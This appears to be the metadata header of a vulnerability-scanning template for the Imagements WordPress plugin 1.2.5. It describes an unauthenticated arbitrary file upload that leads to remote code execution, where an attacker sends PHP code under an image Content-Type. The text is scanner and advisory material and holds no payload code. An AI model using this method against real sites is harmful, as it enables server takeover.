info:
  name: WordPress Plugin Imagements 1.2.5 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    The Imagements WordPress plugin through 1.2.5 allows images to be uploaded in comments, however only checks for the Content-Type in the request to forbid dangerous files. This allows unauthenticated attackers to upload arbitrary files by using a valid image Content-Type along with a PHP filename and code, leading to RCE.
